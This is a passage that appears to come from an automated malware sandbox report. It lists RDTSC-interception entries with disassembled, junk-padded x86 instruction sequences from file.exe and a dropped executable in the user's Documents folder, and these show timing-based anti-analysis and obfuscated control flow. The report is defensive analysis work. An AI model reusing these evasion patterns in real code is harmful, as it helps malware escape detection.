Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6037C second address: 4B6038B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0F6467Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40A4A5 second address: 40A4B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F64E0CE9AA6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40A673 second address: 40A679 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40A679 second address: 40A694 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0CE9AACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F64E0CE9AA8h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B603E4 second address: 4B603E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B603E8 second address: 4B603FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0CE9AAFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B604E8 second address: 4B60500 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F64E0F64684h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60500 second address: 4B60573 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 2C24AA1Eh 0x0000000f jmp 00007F64E0CE9AB7h 0x00000014 call 00007F65523BD572h 0x00000019 push 762327D0h 0x0000001e push dword ptr fs:[00000000h] 0x00000025 mov eax, dword ptr [esp+10h] 0x00000029 mov dword ptr [esp+10h], ebp 0x0000002d lea ebp, dword ptr [esp+10h] 0x00000031 sub esp, eax 0x00000033 push ebx 0x00000034 push esi 0x00000035 push edi 0x00000036 mov eax, dword ptr [762C0140h] 0x0000003b xor dword ptr [ebp-04h], eax 0x0000003e xor eax, ebp 0x00000040 push eax 0x00000041 mov dword ptr [ebp-18h], esp 0x00000044 push dword ptr [ebp-08h] 0x00000047 mov eax, dword ptr [ebp-04h] 0x0000004a mov dword ptr [ebp-04h], FFFFFFFEh 0x00000051 mov dword ptr [ebp-08h], eax 0x00000054 lea eax, dword ptr [ebp-10h] 0x00000057 mov dword ptr fs:[00000000h], eax 0x0000005d ret 0x0000005e jmp 00007F64E0CE9AB6h 0x00000063 and dword ptr [ebp-04h], 00000000h 0x00000067 jmp 00007F64E0CE9AB0h 0x0000006c mov edx, dword ptr [ebp+0Ch] 0x0000006f pushad 0x00000070 pushad 0x00000071 push eax 0x00000072 pop edx 0x00000073 popad 0x00000074 mov edi, 65D3D7AAh 0x00000079 popad 0x0000007a mov esi, edx 0x0000007c push eax 0x0000007d push edx 0x0000007e jmp 00007F64E0CE9AACh 0x00000083 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60573 second address: 4B60579 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60579 second address: 4B6057D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6057D second address: 4B605C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov al, byte ptr [edx] 0x0000000a jmp 00007F64E0F64689h 0x0000000f inc edx 0x00000010 pushad 0x00000011 call 00007F64E0F6467Ch 0x00000016 mov ch, 20h 0x00000018 pop ebx 0x00000019 mov ebx, eax 0x0000001b popad 0x0000001c test al, al 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 mov si, bx 0x00000024 mov ebx, 580E4E72h 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B605C2 second address: 4B605C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0CE9AB8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F64E0CE9A47h 0x0000000f mov al, byte ptr [edx] 0x00000011 jmp 00007F64E0CE9AB9h 0x00000016 inc edx 0x00000017 pushad 0x00000018 call 00007F64E0CE9AACh 0x0000001d mov ch, 20h 0x0000001f pop ebx 0x00000020 mov ebx, eax 0x00000022 popad 0x00000023 test al, al 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 mov si, bx 0x0000002b mov ebx, 580E4E72h 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6064C second address: 4B606C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F64E0F6467Fh 0x00000008 pop esi 0x00000009 pushfd 0x0000000a jmp 00007F64E0F64689h 0x0000000f sub esi, 092268C6h 0x00000015 jmp 00007F64E0F64681h 0x0000001a popfd 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e dec edi 0x0000001f pushad 0x00000020 jmp 00007F64E0F6467Ch 0x00000025 mov ch, 21h 0x00000027 popad 0x00000028 lea ebx, dword ptr [edi+01h] 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F64E0F64688h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B606C2 second address: 4B60708 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0CE9AABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, byte ptr [edi+01h] 0x0000000c jmp 00007F64E0CE9AB6h 0x00000011 inc edi 0x00000012 jmp 00007F64E0CE9AB0h 0x00000017 test al, al 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov eax, ebx 0x0000001e mov ebx, 4347669Ch 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60708 second address: 4B6073D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0F64682h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F655262C9D7h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F64E0F64687h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6073D second address: 4B60755 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F64E0CE9AB4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60755 second address: 4B607A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, edx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F64E0F6467Dh 0x00000011 add cx, 07B6h 0x00000016 jmp 00007F64E0F64681h 0x0000001b popfd 0x0000001c mov ah, 71h 0x0000001e popad 0x0000001f shr ecx, 02h 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F64E0F64686h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B607A3 second address: 4B607A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B607A8 second address: 4B6080E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F64E0F64687h 0x0000000a sub ax, 424Eh 0x0000000f jmp 00007F64E0F64689h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 rep movsd 0x0000001a rep movsd 0x0000001c rep movsd 0x0000001e rep movsd 0x00000020 rep movsd 0x00000022 jmp 00007F64E0F6467Eh 0x00000027 mov ecx, edx 0x00000029 pushad 0x0000002a mov cx, BC9Dh 0x0000002e mov esi, 265E8599h 0x00000033 popad 0x00000034 and ecx, 03h 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a mov dh, 5Dh 0x0000003c mov edi, esi 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6080E second address: 4B60846 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0CE9AAFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsb 0x0000000b jmp 00007F64E0CE9AB6h 0x00000010 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60846 second address: 4B6084A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6084A second address: 4B60850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60850 second address: 4B60875 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0F64684h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov edi, 7F482A00h 0x00000013 mov esi, edx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60875 second address: 4B6087A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6087A second address: 4B6088E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov si, F1ADh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, dword ptr [ebp-10h] 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 movzx eax, bx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6088E second address: 4B60915 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F64E0CE9AB1h 0x00000008 xor si, D2B6h 0x0000000d jmp 00007F64E0CE9AB1h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushfd 0x00000016 jmp 00007F64E0CE9AB0h 0x0000001b adc si, BDD8h 0x00000020 jmp 00007F64E0CE9AABh 0x00000025 popfd 0x00000026 popad 0x00000027 mov dword ptr fs:[00000000h], ecx 0x0000002e jmp 00007F64E0CE9AB6h 0x00000033 pop ecx 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F64E0CE9AB7h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60915 second address: 4B60940 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0F64689h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ebx, 5E0F1B5Eh 0x00000012 mov bx, 8F6Ah 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60940 second address: 4B604E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F64E0CE9AAEh 0x00000008 pop esi 0x00000009 mov di, 1AE6h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop esi 0x00000011 jmp 00007F64E0CE9AADh 0x00000016 pop ebx 0x00000017 jmp 00007F64E0CE9AAEh 0x0000001c leave 0x0000001d jmp 00007F64E0CE9AB0h 0x00000022 retn 0008h 0x00000025 cmp dword ptr [ebp-2Ch], 10h 0x00000029 mov eax, dword ptr [ebp-40h] 0x0000002c jnc 00007F64E0CE9AA5h 0x0000002e push eax 0x0000002f lea edx, dword ptr [ebp-00000590h] 0x00000035 push edx 0x00000036 call esi 0x00000038 push 00000008h 0x0000003a pushad 0x0000003b pushfd 0x0000003c jmp 00007F64E0CE9AACh 0x00000041 adc esi, 156560F8h 0x00000047 jmp 00007F64E0CE9AABh 0x0000004c popfd 0x0000004d call 00007F64E0CE9AB8h 0x00000052 pushfd 0x00000053 jmp 00007F64E0CE9AB2h 0x00000058 sub ax, AA88h 0x0000005d jmp 00007F64E0CE9AABh 0x00000062 popfd 0x00000063 pop ecx 0x00000064 popad 0x00000065 push 4A05720Ah 0x0000006a push eax 0x0000006b push edx 0x0000006c pushad 0x0000006d movsx edx, si 0x00000070 pushfd 0x00000071 jmp 00007F64E0CE9AAAh 0x00000076 add ch, FFFFFFE8h 0x00000079 jmp 00007F64E0CE9AABh 0x0000007e popfd 0x0000007f popad 0x00000080 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60A8E second address: 4B60AE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 mov eax, 3438EEB3h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F64E0F64689h 0x00000014 xchg eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F64E0F64683h 0x0000001e jmp 00007F64E0F64683h 0x00000023 popfd 0x00000024 movzx eax, di 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60AE6 second address: 4B60B08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, ch 0x00000005 jmp 00007F64E0CE9AADh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov ax, di 0x00000015 mov dx, EF9Ah 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60B08 second address: 4B60B0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60B0F second address: 4B60B2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F64E0CE9AB0h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60B2B second address: 4B60B31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 987091 second address: 987095 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 987095 second address: 98709F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 98709F second address: 9870A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9870A3 second address: 9870B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0F6467Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 99DDDF second address: 99DDE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 99DDE3 second address: 99DDF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 99DDF1 second address: 99DDFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F64E0CE9AACh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 99E08F second address: 99E095 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 99E095 second address: 99E09B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 99E4BC second address: 99E4C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9A0A27 second address: 9A0A36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9A0A36 second address: 9A0A4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F64E0F6467Bh 0x00000010 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9A0BC6 second address: 9A0BD0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F64E0CE9AA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9A0CAC second address: 9A0D1B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F64E0F64680h 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f popad 0x00000010 add dword ptr [esp], 5A9B09F9h 0x00000017 mov dword ptr [ebp+122D19AAh], ebx 0x0000001d lea ebx, dword ptr [ebp+12455975h] 0x00000023 push 00000000h 0x00000025 push ecx 0x00000026 call 00007F64E0F64678h 0x0000002b pop ecx 0x0000002c mov dword ptr [esp+04h], ecx 0x00000030 add dword ptr [esp+04h], 0000001Dh 0x00000038 inc ecx 0x00000039 push ecx 0x0000003a ret 0x0000003b pop ecx 0x0000003c ret 0x0000003d add dword ptr [ebp+122D32ADh], edx 0x00000043 xchg eax, ebx 0x00000044 pushad 0x00000045 push edi 0x00000046 jmp 00007F64E0F6467Eh 0x0000004b pop edi 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9A0D1B second address: 9A0D1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9A0DCA second address: 9A0DCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9A0DCE second address: 9A0DDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F64E0CE9AACh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9A0ECC second address: 9A0ED0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9A0ED0 second address: 9A0F2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 67E84E43h 0x0000000e call 00007F64E0CE9AAFh 0x00000013 mov ecx, dword ptr [ebp+122D37B5h] 0x00000019 pop ecx 0x0000001a mov dword ptr [ebp+122D32C9h], eax 0x00000020 lea ebx, dword ptr [ebp+12455980h] 0x00000026 mov edx, dword ptr [ebp+122D3825h] 0x0000002c xchg eax, ebx 0x0000002d pushad 0x0000002e jl 00007F64E0CE9AACh 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F64E0CE9AB4h 0x0000003b rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9A0F2A second address: 9A0F2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9C35C7 second address: 9C35CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 997A4D second address: 997A51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 997A51 second address: 997A5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F64E0CE9AA6h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 997A5F second address: 997A6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 997A6C second address: 997A7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F64E0CE9AA6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 997A7A second address: 997A86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F64E0F64676h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9C180A second address: 9C182D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnc 00007F64E0CE9ABBh 0x0000000e rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9C182D second address: 9C1837 instructions: 0x00000000 rdtsc 0x00000002 js 00007F64E0F6467Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9C1C7E second address: 9C1C9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F64E0CE9AAFh 0x00000009 popad 0x0000000a jns 00007F64E0CE9AACh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9C1FD5 second address: 9C1FE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F64E0F6467Dh 0x0000000c rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9C1FE9 second address: 9C200C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F64E0CE9AC9h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F64E0CE9AB5h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9C253B second address: 9C2546 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F64E0F64676h 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9C2546 second address: 9C254B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9C254B second address: 9C2557 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F64E0F64676h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 99960D second address: 999611 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 999611 second address: 999619 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 999619 second address: 99961F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 99961F second address: 999625 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9C3074 second address: 9C3088 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007F64E0CE9AA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c ja 00007F64E0CE9AACh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9C3088 second address: 9C308C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEGDGIIJJE.exe	RDTSC instruction interceptor: First address: 9C308C second address: 9C3092 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
